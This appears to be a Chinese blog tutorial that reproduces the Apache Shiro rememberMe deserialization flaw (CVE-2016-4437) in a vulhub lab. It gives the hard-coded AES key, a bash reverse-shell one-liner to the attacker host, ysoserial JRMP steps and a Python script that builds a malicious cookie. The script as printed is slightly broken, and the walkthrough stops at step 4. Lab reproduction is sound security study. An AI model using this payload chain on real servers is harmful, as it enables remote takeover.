| 标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
| 详情 | |||||||||||||
|
[SAFE-ID: JIWO-2025-3381] 作者: 小螺号 发表于: [2024-01-11]
本文共 [374] 位读者顶过
啥是shiro?Shiro是Apache的一个强大且易用的Java安全框架,用于执行身份验证、授权、密码和会话管理。使用 Shiro 易于理解的 API,可以快速轻松地对应用程序进行保护。[出自:jiwo.org]shiro550反序列化原理cve编号:CVE-2016-4437在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。 如下图所示,勾选rememberMe后,POST请求包中会有rememberMe字段(在最后,非常抱歉一个图没截全,看下面那个小图的remember-me),而服务端响应包的Set-Cookie中会有rememberMe=deleteMe字段,同时会生成对应的rememberMe字段,如下图,一段很长的密文。
当客户端再次请求服务端时,都会带上这个服务端第一次返回设置的Set-Cookie里面的rememberMe的密文,让服务端进行身份验证。如下图为再次请求时的数据包:
这里出现问题的点就在于AES加解密的过程中使用的密钥key。AES是一种对称密钥密码体制,加解密用到是相同的密钥,这个密钥应该是绝对保密的,但在shiro版本<=1.2.24的版本中使用了固定的密钥kPH+bIxk5D2deZiIxcaaaA==,这样攻击者直接就可以用这个密钥实现上述加密过程,在Cookie字段写入想要服务端执行的恶意代码,最后服务端在对cookie进行解密的时候(反序列化后)就会执行恶意代码。在后续的版本中,这个密钥也可能会被爆破出来,从而被攻击者利用构造payload。
靶场搭建这里用vulhub搭建靶场,进入对应的目录.../vulhub/shiro/CVE-2016-4437 我是用虚拟机Ubuntu搭建的(ip为192.168.200.129),启动docker命令: docker-compose up -d
然后查看一下端口 docker ps
然后浏览器访问192.168.200.129:8080(虚拟机ip:刚才查看的端口),页面如下:
这样靶场就搭建好了。 漏洞复现攻击机:kali 192.168.200.131靶机:Ubuntu 192.168.200.129 (无所谓是不是kali或者Ubuntu,反正靶场用docker搭建,然后有个linux的攻击机就行了) 漏洞验证进行漏洞复现之前,应该先验证漏洞是否存在。那么首先应该判断一个页面的登录是否使用了shiro框架进行身份验证、授权、密码和会话管理。判断方法在于:勾选记住密码选项后,点击登录,抓包,观察请求包中是否有rememberme字段,响应包中是否有Set-cookie:rememberMe=deleteMe字段。类似于下图这样:
之前我看CSDN上其他文章,以及b站上许多shiro550的漏洞复现视频都说,只要响应包中出现rememberMe=deleteMe字段就说明存在漏洞。我感觉这样说有失偏颇,如果出现rememberMe=deleteMe字段应该是仅仅能说明登录页面采用了shiro进行了身份验证而已,并非直接就说明存在漏洞。下面这篇博客写的也比较细,其漏洞验证流程也类似判断请求和响应包的字段,如下图:
详细shiro漏洞复现及利用方法(CVE-2016-4437)_糊涂是福yyyy的博客-CSDN博客
或者也可以使用脚本进行检测和爆破,我这里使用的是一个python2的脚本shiro_exploit.py(脚本和本文所使用的工具会在文末给出),命令如下(url替换为待检测的站点):
pip install pycryptodome
插叙结束 如果能成功运行shiro_exploit.py脚本,将自动检测shiro框架并对密钥进行爆破,如下图:
爆破过程可能需要几分钟时间,耐心等待一会,最后爆破成功的显示如下:
我们成功获得了AES密钥kPH+bIxk5D2deZiIxcaaaA==,说明漏洞存在。
step2:攻击机搭建VPS服务,存放反弹shell的payload1反弹shell的命令如下(别忘了把ip改为攻击机的ip):bash -i >& /dev/tcp/192.168.200.131/6666 0>&1 当命令中包含重定向 ’ < ’ ’ > ’ 和管道符 ’ | ’ 时,需要进行 base64 编码绕过检测。可以使用在线网站对命令进行编码,网址为: Runtime.exec Payload Generater | AresX's Blog (ares-x.com) 如下图,我们对反弹shell的命令进行base64编码
编码结果为:
对这段命令做个简要的解释:这里我们相当于在攻击机上启动了一个VPS服务,监听7777端口,然后在这个服务上放了一个反弹shell的payload,并用序列化工具ysoserial指定 CommonsCollections5 利用链生成可执行bash -i >& /dev/tcp/192.168.200.131/6666 0>&1命令的序列化数据payload1。当后面有客户端请求服务时,我们搭建的这个JRMP就会返回这段payload1。 step3:生成AES加密=>Base64编码后的rememberMe字段我们企图让存在漏洞的页面去请求我们攻击机的VPS服务,即对192.168.200.131:7777进行请求,因此,我们要用脚本对192.168.200.131:7777进行AES加密=>Base64编码。脚本shiro.py代码如下(注意这是一段python2的代码):import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode()
代码中key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")这一行括号内即为AES加密的密钥,如果密钥是其他的,在这里就填写其他的密钥。脚本运行的命令如下(读者应当更改为攻击机ip:JRMP监听的端口号),注意shiro.py的位置应当保证和ysoserial.jar在同一目录下:
结果为: step4:更改请求包中cookie的rememberMe字段 |
|||||||||||||